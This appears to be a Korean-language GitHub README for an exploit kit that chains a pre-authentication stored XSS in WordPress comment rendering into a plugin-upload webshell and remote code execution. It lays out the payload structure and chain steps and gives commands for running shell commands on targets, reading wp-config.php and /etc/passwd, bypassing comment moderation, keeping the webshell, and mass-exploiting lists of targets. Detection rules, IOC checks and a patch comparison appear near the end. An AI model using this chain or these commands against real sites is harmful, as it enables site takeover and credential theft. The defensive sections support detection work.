제로클릭 사전 인증 WordPress CVE-2026-93485 익스플로잇 체인: wpautop()의 저장형 XSS가 관리자 세션 플러그인 업로드 및 자체 삭제 웹셸로 확대되며, 스캐너, 셸, Nuclei 템플릿 포함.
Comment2Shell은 WordPress 코어 wpautop()의 사전 인증 저장형 XSS가 관리자 세션 내에서 원격 코드 실행으로 확대되는 CVE-2026-93485에 대한 엔드투엔드 개념 증명입니다. 익명 댓글이 페이로드를 심어 놓으면, 관리자가 게시물을 열 때 브라우저가 웹셸 플러그인을 업로드하고, 명령을 실행한 뒤, 셸을 다시 삭제합니다. 전체 체인은 의존성이 없는 단일 Python 파일입니다.
Comment2Shell은 CVE-2026-93485에 대한 익스플로잇 및 로컬 랩 키트입니다. 이 버그는 wp-includes/formatting.php의 wpautop() 문단 필터에 존재하며, 이 필터는 댓글 텍스트에 대해 표시 시점에 실행됩니다. blockquote cite 속성 내부의 개행 문자가 HTML 주석 자리 표시자가 되고, blockquote를 감싸는 정규식이 첫 번째 >에서 멈추면서 속성 중간에 문단 태그를 주입하며, 브라우저는 이를 핸들러로 파싱합니다. 속성이 이를 클릭 없이(zero-click) 발동시킵니다.
onfocusautofocus이 도구는 전체 체인을 다룹니다: 수동 버전 스캔, 무해한 XSS 프로브, 전체 사전 인증에서 RCE까지의 익스플로잇, 대화형 셸, 그리고 방어용 IOC 검사입니다.
이 익스플로잇은 계정도, nonce도, 관리자가 게시물을 보는 것 외의 어떤 상호작용도 필요하지 않습니다. 댓글만 열려 있으면 됩니다.
WordPress는 웹의 상당 부분을 차지하고 wpautop()은 코어 코드이므로, 취약한 필터는 테마나 플러그인에 관계없이 모든 영향을 받는 설치에 포함됩니다. 이 XSS는 저장형이고, 사전 인증이며, 클릭이 필요 없습니다. 관리자 세션에서 실행되기 때문에 단순한 변조 버그 이상입니다: 관리자 쿠키만으로 플러그인을 설치할 수 있고, 플러그인 설치는 임의 코드 실행입니다.
수정 사항은 WordPress 7.1.1에 포함되어 25개 브랜치에 걸쳐 백포트되었으며, 4.7.36까지 내려갑니다. 4.7.0부터 7.1.0까지의 모든 릴리스가 영향을 받습니다.
WordPress 7.1.0을 대상으로 한 통제된 랩 실행: 익명 댓글이 페이로드를 심고, 관리자가 게시물을 열면 클릭 없는 체인이 발동하고, 웹셸이 업로드되고, 명령 출력이 반환되며, 셸이 스스로 삭제됩니다. 브라우저 탭 제목이 결과를 보고하며, Comment2Shell: shell uploaded 또는 Comment2Shell: admin login required입니다. 정확한 절차는 docker/README.md를 참조하세요.
Comment2Shell은 결함의 발견을 주장하지 않습니다. 이 결함은 Rafie Muhammad (Awesome Motive)가 HackerOne WordPress 프로그램을 통해 보고했으며 7.1.1에서 수정되었습니다. 여기서의 기여는 전체 체인의 재현 가능하고 의존성이 없는 구현입니다:
1. Anonymous comment submission (no auth, no nonce)
POST /wp-comments-post.php
<blockquote cite="a\nb"><code>x" onfocus=... autofocus>
KSES allows blockquote[cite] and code; the newline in cite survives.
2. Display-time filter chain (the bug)
wpautop() at formatting.php:563:
preg_replace('|<p><blockquote([^>]*)>|', '<blockquote$1><p>')
[^>]* stops at the > inside the <!-- wpnl --> comment,
so a <p> gets injected inside the cite attribute.
3. wptexturize() seals the attribute (block themes)
Outer " becomes ” (curly quote).
The " inside <code> stays straight (no-texturize list).
The browser then parses onfocus/autofocus as real attributes.
4. Zero-click XSS in the admin session
autofocus fires onfocus on page load, no click needed.
JS runs with the admin cookies.
5. Admin session -> plugin upload -> RCE
GET /wp-admin/plugin-install.php, extract the nonce.
Build ZIP in memory, POST update.php?action=upload-plugin.
Webshell lands at wp-content/plugins/<rand>/<rand>.php.
GET /wp-content/plugins/<rand>/<rand>.php?c=id
comment_registration=0)git clone https://github.com/DeathShotXD/Comment2Shell.git
cd Comment2Shell
python3 comment2shell.py --help
의존성 없음. Python 3.8+ 표준 라이브러리만 사용, pip install 불필요.
# Single target
python3 comment2shell.py --scan -t https://target.com
# Batch scan
python3 comment2shell.py --scan -f targets.txt --threads 20
# From a pipeline
subfinder -d targets.txt | httpx -title | \
grep -i wordpress | python3 comment2shell.py --scan --stdin
# JSON output
python3 comment2shell.py --scan -t https://target.com --json -o results.json
# Submit the benign detection payload (sets document.title)
python3 comment2shell.py --probe -t https://target.com
# With an OAST callback
python3 comment2shell.py --probe -t https://target.com \
--callback https://your-id.oast.example
익스플로잇 페이로드는 페이지 로드 시
alert("Comment2Shell XSS - CVE-2026-93485")를 발동합니다 (autofocus를 통한 클릭 없음). 관리자로 로그인한 상태에서 게시물을 보세요. 그러면 탭 제목이 성공 시Comment2Shell: shell uploaded, 브라우저에 관리자 세션이 없으면Comment2Shell: admin login required로 표시됩니다.
# Run a command, then delete the shell
python3 comment2shell.py -t https://target.com -c "id"
# Read wp-config.php
python3 comment2shell.py -t https://target.com -c "cat wp-config.php"
# Wait longer for the admin to view the post (default 45s)
python3 comment2shell.py -t https://target.com -c "id" --wait 60
# Keep the webshell after execution
python3 comment2shell.py -t https://target.com -c "id" --no-cleanup
# With an OAST callback
python3 comment2shell.py -t https://target.com \
-c "cat /etc/passwd" \
--callback https://your-id.oast.example
# Known-commenter approval bypass
python3 comment2shell.py -t https://target.com \
-c "whoami" --known-commenter
# Through a proxy
python3 comment2shell.py -t https://target.com \
-c "id" --proxy http://127.0.0.1:8080
이 도구는 XSS 댓글을 제출하고, 생성된 웹셸 경로를 3초마다 폴링하며(--wait 초까지), 관리자의 브라우저가 업로드를 트리거하면 명령을 실행한 뒤, 셸을 스스로 삭제합니다(?d=1이 PHP 파일의 링크를 해제하고 플러그인 디렉터리를 제거함) 따라서 지속성은 남지 않습니다. 유지하려면 --no-cleanup을, 페이로드만 제출하려면 --wait 0을 전달하세요.
# With a known shell path
python3 comment2shell.py --shell -t https://target.com \
--shell-path ab12cd/ab12cd.php
# Run a single command on an existing shell
python3 comment2shell.py --exec -t https://target.com \
--shell-path ab12cd/ab12cd.php -c "cat wp-config.php"
python3 comment2shell.py --ioc -t https://target.com
처음 댓글을 다는 사람의 새 댓글은 보통 검토를 위해 보류됩니다. 이 도구에는 이를 우회하는 세 가지 경로가 있습니다:
| 경로 | 방법 | 플래그 |
|---|---|---|
| 알려진 댓글 작성자 | check_comment()가 자동 승인하는 기본 "A WordPress Commenter" <[email protected]>를 재사용 | --known-commenter |
| 검토 비활성화 | comment_previously_approved=0이면 모든 신원이 자동 승인됨 | 기본값 |
| 작성자 미리보기 | 이전 댓글 작성자가 ?unapproved=<id>&moderation-hash=<hash> 쿠키를 통해 보류 중인 댓글을 봄 | 자동 |
Patchstack에 따르면: "검토는 보안 통제가 아닙니다."
로컬 테스트를 위해 취약한 WordPress 7.1.0을 실행하세요:
cd docker
docker compose up -d
bash setup.sh
# Target: http://localhost:80 (host networking)
# Admin: admin / Password123!
# Then: python3 comment2shell.py -t http://localhost -c "id"
각 실행은 새로운 페이로드 댓글을 제출합니다. 페이지에서 첫 번째 autofocus 페이로드만 실행되므로, 도구는 활성 페이로드를 감지하고 그 경로를 폴링합니다. 실행 사이에 오래된 댓글을 지우려면 bash clean.sh를 실행하세요.
# Suspicious comment submissions (newline in blockquote cite)
grep -rE 'blockquote.*cite=.*\n' /var/www/html/wp-content/ 2>/dev/null
# wp_comments table
mysql -e "SELECT comment_ID, comment_author, LEFT(comment_content,200) \
FROM wp_comments WHERE comment_content LIKE '%blockquote%cite%\
onfocus%' ORDER BY comment_date DESC;"
# Recently uploaded single-file plugins
find /var/www/html/wp-content/plugins/ -maxdepth 2 -name "*.php" \
-newer /var/www/html/wp-config.php -not -path "*/akismet/*" \
-not -path "*/hello*"
# Unusual POST to wp-comments-post.php with blockquote + onfocus
http.request.uri == "/wp-comments-post.php" AND
http.request.body contains "blockquote" AND
http.request.body contains "onfocus" AND
http.request.body contains "autofocus"
# Single-file plugin uploads from non-admin IPs
http.request.uri == "/wp-admin/update.php" AND
http.request.body contains "pluginzip"
nuclei -t nuclei/CVE-2026-93485.yaml -u https://target.com
# Vulnerable (before 7.1.1):
grep -n 'blockquote(\[^>\]\*)' wp-includes/formatting.php
# Should show: |<p><blockquote([^>]*)>|
# Patched (7.1.1+):
grep -n 'blockquote((?:\[^>"'\'')' wp-includes/formatting.php
# Should show: !<p><blockquote((?:[^>"']|"[^"]*"|'[^']*')*)>
# Find WordPress targets -> scan for CVE-2026-93485
subfinder -d program-scope.com -silent | \
httpx -silent -title | \
grep -i "wordpress" | \
python3 comment2shell.py --scan --stdin --threads 20
# Mass exploit with OAST (authorized testing only)
cat vulnerable_targets.txt | \
python3 comment2shell.py -t - -c "id" \
--callback https://your-id.oast.example
# Save results as JSON
python3 comment2shell.py --scan -f all_targets.txt \
--threads 30 -o scan_results.json --json
wp-includes/formatting.php:563 (취약, 7.1.1 이전):
// VULNERABLE: [^>]* stops at > inside HTML comment placeholder
$text = preg_replace( '|<p><blockquote([^>]*)>|i', '<blockquote$1><p>', $text );
// PATCHED (7.1.1): quote-aware subpattern
$text = preg_replace( '!<p><blockquote((?:[^>"\']|"[^"]*"|\'[^\']*\')*)>!i', '<blockquote$1><p>', $text );
페이로드는 저장 시점에는 무해한 HTML입니다. blockquote[cite]와 code는 댓글 허용 목록에 있습니다 (wp-includes/kses.php:605-633). 개행 문자는 wp_kses_hair()의 구문 문자 맵에 없습니다. 익스플로잇은 comment_text 필터가 저장된 HTML을 변환하는 표시 시점에 발생합니다.
add_filter( 'comment_text', 'wptexturize' ); // seals the attribute
add_filter( 'comment_text', 'convert_chars' );
add_filter( 'comment_text', 'make_clickable', 9 );
add_filter( 'comment_text', 'force_balance_tags', 25 );
add_filter( 'comment_text', 'convert_smilies', 20 );
add_filter( 'comment_text', 'wpautop', 30 ); // THE BUG
수정 사항은 25개 브랜치에 걸쳐 7.1.1에 포함되었습니다. 4.7.0부터 7.1.0까지의 모든 릴리스가 영향을 받습니다.
| 브랜치 | 취약 <= | 수정됨 |
|---|---|---|
| 7.1 | 7.1.0 | 7.1.1 |
| 7.0 | 7.0.4 | 7.0.5 |
| 6.9 | 6.9.7 | 6.9.8 |
| 6.8 | 6.8.8 | 6.8.9 |
| 6.7 | 6.7.7 | 6.7.8 |
| 6.6 | 6.6.7 | 6.6.8 |
| 6.5 | 6.5.10 | 6.5.11 |
| 6.4 | 6.4.10 | 6.4.11 |
| 6.3 | 6.3.10 | 6.3.11 |
| 6.2 | 6.2.11 | 6.2.12 |
| 6.1 | 6.1.12 | 6.1.13 |
| 6.0 | 6.0.14 | 6.0.15 |
| 5.9 | 5.9.16 | 5.9.17 |
| 5.8 | 5.8.15 | 5.8.16 |
| 5.7 | 5.7.17 | 5.7.18 |
| 5.6 | 5.6.19 | 5.6.20 |
| 5.5 | 5.5.20 | 5.5.21 |
| 5.4 | 5.4.21 | 5.4.22 |
| 5.3 | 5.3.23 | 5.3.24 |
| 5.2 | 5.2.26 | 5.2.27 |
| 5.1 | 5.1.24 | 5.1.25 |
| 5.0 | 5.0.27 | 5.0.28 |
| 4.9 | 4.9.31 | 4.9.32 |
| 4.8 | 4.8.30 | 4.8.31 |
| 4.7 | 4.7.35 | 4.7.36 |
Comment2Shell/
|-- comment2shell.py scan, probe, exploit, shell, IOC check
|-- README.md
|-- PLAN.md weekly maintenance plan
|-- BROWSER_VALIDATION.md manual browser validation steps
|-- docker/ vulnerable WordPress 7.1.0 lab
| |-- docker-compose.yml
| |-- setup.sh
| |-- clean.sh
| +-- README.md
|-- nuclei/ detection template
|-- ioc/ server-side IOC checker
|-- requests/ raw HTTP exploit templates
|-- assets/ banner, logo, demo, animated SVGs
|-- browser_validate.html
|-- xss_validate.html
|-- validate.sh
+-- LICENSE
wptexturize가 속성을 봉인함); 클래식 테마는 이를 트리거하지 않을 수 있습니다.docker/clean.sh로 지워야 합니다.
이 프로젝트는 승인된 보안 테스트와 교육을 위해 존재합니다. 소유한 시스템 또는 테스트에 대한 명시적 서면 허가를 받은 시스템에만 사용하세요. 컴퓨터 시스템에 대한 무단 접근은 대부분의 관할권에서 불법입니다. 저자는 오용이나 손해에 대해 책임지지 않습니다. LICENSE를 참조하세요.
0xDeathShotX_X - github.com/DeathShotXD | @SyedWaj25802383